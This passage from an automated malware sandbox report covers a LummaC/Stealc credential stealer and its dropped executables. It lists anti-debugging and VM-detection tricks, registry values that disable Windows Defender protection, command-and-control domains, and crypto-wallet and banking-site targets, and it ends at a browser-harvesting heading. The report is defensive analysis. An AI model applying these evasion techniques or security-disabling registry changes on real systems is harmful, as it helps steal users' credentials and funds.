Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 919A04 second address: 919A1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0ACC5107F6h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 919A1E second address: 919A6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c mov si, CE5Ah 0x00000010 lea ebx, dword ptr [ebp+1244F48Eh] 0x00000016 mov cx, DF99h 0x0000001a xchg eax, ebx 0x0000001b jbe 00007F0ACCE7DA33h 0x00000021 jmp 00007F0ACCE7DA2Dh 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F0ACCE7DA2Dh 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 919AD3 second address: 919AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 919AD7 second address: 919AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0ACCE7DA30h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 919BE7 second address: 919BEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 92B781 second address: 92B785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 92B785 second address: 92B78F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 92B78F second address: 92B7A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jbe 00007F0ACCE7DA26h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 92B7A2 second address: 92B7A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 9391EE second address: 93921D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0ACCE7DA32h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F0ACCE7DA2Ch 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007F0ACCE7DA26h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 93921D second address: 939231 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0ACC5107E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jl 00007F0ACC5107E6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 939231 second address: 939235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	RDTSC instruction interceptor: First address: 939235 second address: 939241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0ACC5107E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Special instruction interceptor: First address: 137B28 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Special instruction interceptor: First address: 135652 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Special instruction interceptor: First address: 30EE24 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Special instruction interceptor: First address: 2E6D82 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Special instruction interceptor: First address: 36B446 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Special instruction interceptor: First address: 941812 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Special instruction interceptor: First address: 946EB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Special instruction interceptor: First address: 9D1451 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Special instruction interceptor: First address: FEF92D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Special instruction interceptor: First address: 118FE6A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Special instruction interceptor: First address: 119B68A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Special instruction interceptor: First address: FEF8F6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Special instruction interceptor: First address: 1221F1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Special instruction interceptor: First address: 7A538B instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Memory allocated: 4C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Memory allocated: 4FD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Memory allocated: 4E10000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

Code function: 3_2_009197F5 rdtsc

3_2_009197F5

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

Code function: 3_2_0092BBDD sidt fword ptr [esp-02h]

3_2_0092BBDD

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe TID: 1856	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe TID: 5696	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe TID: 2584	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe TID: 5740	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe, 00000003.00000002.2550628131.0000000000921000.00000040.00000001.01000000.00000006.sdmp, GZ5P1E828L48RRT6FSG1LU5.exe, GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2507064723.0000000001172000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: qvkwOs4JfC.exe, 00000000.00000003.2190088819.0000000005463000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: qvkwOs4JfC.exe, qvkwOs4JfC.exe, 00000000.00000003.2268313001.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2167382327.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2245320094.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2402628001.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: qvkwOs4JfC.exe, 00000000.00000003.2190088819.0000000005463000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: qvkwOs4JfC.exe, 00000000.00000003.2244991601.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wYHgfSV5i/KfGiNJTBQo4Eodeym
Source: GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.000000000087E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: qvkwOs4JfC.exe, 00000000.00000003.2244991601.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HgfSV5i/KfGiNJTBQo4Eodeym
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe, 00000003.00000002.2550628131.0000000000921000.00000040.00000001.01000000.00000006.sdmp, GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2507064723.0000000001172000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2505081729.00000000008C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: qvkwOs4JfC.exe, 00000000.00000003.2190225393.00000000053FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

Code function: 3_2_009197F5 rdtsc

3_2_009197F5

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

Code function: 3_2_0079B806 LdrInitializeThunk,

3_2_0079B806

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: GZ5P1E828L48RRT6FSG1LU5.exe PID: 2292, type: MEMORYSTR

LummaC encrypted strings found

Source: qvkwOs4JfC.exe, 00000000.00000003.2118894172.00000000048E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: qvkwOs4JfC.exe, 00000000.00000003.2118894172.00000000048E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: qvkwOs4JfC.exe, 00000000.00000003.2118894172.00000000048E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: qvkwOs4JfC.exe, 00000000.00000003.2118894172.00000000048E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: qvkwOs4JfC.exe, 00000000.00000003.2118894172.00000000048E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
Source: qvkwOs4JfC.exe, 00000000.00000003.2118894172.00000000048E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tacitglibbr.biz

Source: 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe, 9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe, 00000003.00000002.2551147860.000000000096D000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: lProgram Manager
Source: GZ5P1E828L48RRT6FSG1LU5.exe, GZ5P1E828L48RRT6FSG1LU5.exe, 00000004.00000002.2507064723.0000000001172000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: "Program Manager

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: qvkwOs4JfC.exe, 00000000.00000003.2289519974.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s%\Windows Defender\MsMpeng.exe
Source: qvkwOs4JfC.exe, 00000000.00000003.2268313001.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2401826591.0000000005451000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2267755115.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2267992907.0000000005452000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2274444363.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2268091520.0000000000C67000.00000004.00000020.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2289576367.0000000005455000.00000004.00000800.00020000.00000000.sdmp, qvkwOs4JfC.exe, 00000000.00000003.2268264355.0000000005454000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\qvkwOs4JfC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: qvkwOs4JfC.exe PID: 5664, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.2506803360.0000000000DA1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2448236024.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2505081729.000000000087E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GZ5P1E828L48RRT6FSG1LU5.exe PID: 2292, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: qvkwOs4JfC.exe	String found in binary or memory: Wallets/Electrum
Source: qvkwOs4JfC.exe, 00000000.00000003.2245320094.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: qvkwOs4JfC.exe, 00000000.00000003.2267755115.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: elfplplebdjjenllpjcblmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihkakfoB
Source: qvkwOs4JfC.exe, 00000000.00000003.2245320094.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: qvkwOs4JfC.exe, 00000000.00000003.2245320094.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: qvkwOs4JfC.exe, 00000000.00000003.2267755115.0000000000CD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: obppdil","ez":"Sui"},{"en":"aholpfdialjgjfhomihkjbmgjidlcdno","ez":"ExodusWe
Source: qvkwOs4JfC.exe	String found in binary or memory: %appdata%\Ethereum
Source: qvkwOs4JfC.exe, 00000000.00000003.2245275875.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: qvkwOs4JfC.exe, 00000000.00000003.2245275875.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

